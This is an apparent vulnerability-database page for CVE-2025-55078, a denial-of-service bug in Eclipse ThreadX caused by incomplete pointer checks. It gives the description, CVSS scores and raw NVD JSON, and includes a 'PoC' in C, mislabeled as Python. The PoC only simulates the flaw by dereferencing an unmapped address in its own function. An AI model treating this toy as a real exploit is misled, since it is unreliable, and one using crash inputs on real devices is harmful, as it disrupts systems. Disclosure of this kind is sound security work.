Security Vulnerability Report
中文
CVE-2025-55078 CVSS 5.5 MEDIUM

CVE-2025-55078

Published: 2025-10-14 08:15:36
Last Modified: 2025-10-21 19:45:33

Description

In Eclipse ThreadX before version 6.4.3, an attacker can cause a denial of service (crash) by providing a pointer to a reserved or unmapped memory region. Vulnerable system calls had a check of pointers, but that check wasn't verifying whether the pointer is outside the module memory region.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:eclipse:threadx:*:*:*:*:*:*:*:* - VULNERABLE
Eclipse ThreadX < 6.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-55078 - Eclipse ThreadX System Call Pointer Validation DoS PoC * * This PoC demonstrates how to trigger a denial of service by passing * an invalid pointer to a vulnerable ThreadX system call. * The vulnerability exists in versions before 6.4.3 where pointer * validation does not check if the pointer is within the module's * valid memory region. * * Note: Requires local low-privilege access to the target device. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> /* Simulated ThreadX system call prototypes */ typedef struct { void *ptr; size_t size; } tx_system_call_arg_t; /* * Vulnerable system call - performs pointer check but does NOT verify * if the pointer is within the module's valid memory region. * This simulates the behavior in ThreadX < 6.4.3. */ __attribute__((weak)) int vulnerable_tx_system_call(void *ptr, size_t size) { /* Existing check: only verifies pointer is not NULL */ if (ptr == NULL) { return -1; /* Invalid parameter */ } /* * MISSING CHECK: Should verify ptr is within valid module memory region. * Without this check, accessing reserved/unmapped memory causes crash. */ /* Attempt to access the pointer - triggers crash if unmapped */ volatile uint8_t value = *(volatile uint8_t *)ptr; printf("Read value: 0x%02x\n", value); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-55078 PoC - Eclipse ThreadX DoS\n"); printf("Attempting to trigger crash via invalid pointer...\n"); /* * Use a pointer to an unmapped/reserved memory region. * 0xDEADBEEF is typically an unmapped address on most systems. */ void *malicious_ptr = (void *)0xDEADBEEF; printf("Calling vulnerable system call with ptr=0x%p\n", malicious_ptr); /* This call will trigger a memory access exception causing system crash */ int ret = vulnerable_tx_system_call(malicious_ptr, 4); printf("Return value: %d\n", ret); return ret; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55078", "sourceIdentifier": "[email protected]", "published": "2025-10-14T08:15:36.173", "lastModified": "2025-10-21T19:45:33.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Eclipse ThreadX before version 6.4.3, an attacker can cause a denial of service (crash) by providing a pointer to a reserved or unmapped memory region. Vulnerable system calls had a check of pointers, but that check wasn't verifying whether the pointer is outside the module memory region."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-233"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:threadx:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.3", "matchCriteriaId": "8DFDFD2C-0D11-4D17-832D-CA423F67AE09"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-wcfg-5jpf-hhxq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}